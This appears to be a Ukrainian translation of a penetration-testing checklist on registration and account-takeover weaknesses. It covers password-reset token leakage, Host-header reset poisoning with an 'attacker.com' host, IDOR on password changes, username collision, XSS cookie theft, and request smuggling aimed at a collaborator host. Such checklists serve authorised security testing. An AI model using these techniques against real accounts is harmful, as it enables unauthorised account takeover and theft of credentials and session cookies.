Registration & Takeover Vulnerabilities
Захоплення реєстрації
Дублювання реєстрації
Спробуйте згенерувати, використовуючи існуюче ім'я користувача
Перевірте, варіюючи електронну пошту:
великі літери
+1@
додайте крапку в електронній пошті
спеціальні символи в імені електронної пошти (%00, %09, %20)
Додайте чорні символи після електронної пошти:
test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Перерахування імен користувачів
Перевірте, чи можете ви з'ясувати, коли ім'я користувача вже було зареєстровано в додатку.
Політика паролів
Створюючи користувача, перевірте політику паролів (перевірте, чи можете ви використовувати слабкі паролі). У такому випадку ви можете спробувати брутфорсити облікові дані.
SQL-ін'єкція
Перевірте цю сторінку , щоб дізнатися, як спробувати захоплення облікових записів або витягти інформацію через SQL-ін'єкції у формах реєстрації.
Захоплення Oauth
Вразливості SAML
Зміна електронної пошти
Після реєстрації спробуйте змінити електронну пошту та перевірте, чи ця зміна правильно перевіряється або чи можна змінити її на довільні електронні адреси.
Більше перевірок
Перевірте, чи можете ви використовувати тимчасові електронні адреси
Довгий пароль (>200) призводить до DoS
Перевірте обмеження швидкості на створення облікових записів
Використовуйте username@burp_collab.net і аналізуйте callback
Захоплення скидання пароля
Витік токена скидання пароля через реферер
Запросіть скидання пароля на вашу електронну адресу
Натисніть на посилання для скидання пароля
Не змінюйте пароль
Перейдіть на будь-які сторонні веб-сайти (наприклад: Facebook, Twitter)
Перехопіть запит у проксі Burp Suite
Перевірте, чи заголовок referer витікає токен скидання пароля.
Отруєння скидання пароля
Перехопіть запит на скидання пароля в Burp Suite
Додайте або відредагуйте наступні заголовки в Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
Перешліть запит з модифікованим заголовком
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
Шукайте URL скидання пароля на основі заголовка host, наприклад:
https://attacker.com/reset-password.php?token=TOKEN
Скидання пароля через параметр електронної пошти
IDOR на API Параметрах
Атакуючий повинен увійти в свій обліковий запис і перейти до функції Змінити пароль.
Запустіть Burp Suite і перехопіть запит.
Відправте його на вкладку повторювача та відредагуйте параметри: ID користувача/електронна пошта
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Слабкий Токен Скидання Пароля
Токен скидання пароля повинен генеруватися випадковим чином і бути унікальним щоразу. Спробуйте визначити, чи токен має термін дії або завжди однаковий, в деяких випадках алгоритм генерації є слабким і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.
Часова мітка
ID користувача
Електронна пошта користувача
Ім'я та прізвище
Дата народження
Криптографія
Тільки числа
Невелика послідовність токенів (символи між [A-Z,a-z,0-9])
Повторне використання токена
Дата закінчення терміну дії токена
Витік Токена Скидання Пароля
Викличте запит на скидання пароля, використовуючи API/UI для конкретної електронної пошти, наприклад: test@mail.com
Перевірте відповідь сервера та перевірте наявність
resetToken
Потім використовуйте токен в URL, наприклад
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Скидання Пароля Через Колізію Імені Користувача
Зареєструйтеся в системі з іменем користувача, ідентичним імені користувача жертви, але з пробілами перед і/або після імені користувача. наприклад:
"admin "
Запросіть скидання пароля з вашим шкідливим іменем користувача.
Використовуйте токен, надісланий на вашу електронну пошту, і скиньте пароль жертви.
Увійдіть до облікового запису жертви з новим паролем.
Платформа CTFd була вразливою до цієї атаки. Дивіться: CVE-2020-7245
Захоплення Облікового Запису Через Міжсайтовий Скриптинг
Знайдіть XSS всередині програми або піддомену, якщо куки обмежені до батьківського домену:
*.domain.com
Витікайте поточний cookie сесії
Аутентифікуйтеся як користувач, використовуючи cookie
Захоплення Облікового Запису Через Підтасування HTTP Запитів
1. Використовуйте smuggler для виявлення типу підтасування HTTP запитів (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Сформуйте запит, який перезапише POST / HTTP/1.1
з наступними даними:
GET http://something.burpcollaborator.net HTTP/1.1 X:
з метою перенаправлення жертв на burpcollab і крадіжки їхніх cookie
3. Остаточний запит може виглядати наступним чином
Hackerone reports exploiting this bug * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
Захоплення облікового запису через CSRF
Створіть payload для CSRF, наприклад: “HTML форма з автоматичною відправкою для зміни пароля”
Відправте payload
Захоплення облікового запису через JWT
JSON Web Token може використовуватися для аутентифікації користувача.
Змініть JWT на інший User ID / Email
Перевірте на слабкий підпис JWT
Посилання
Last updated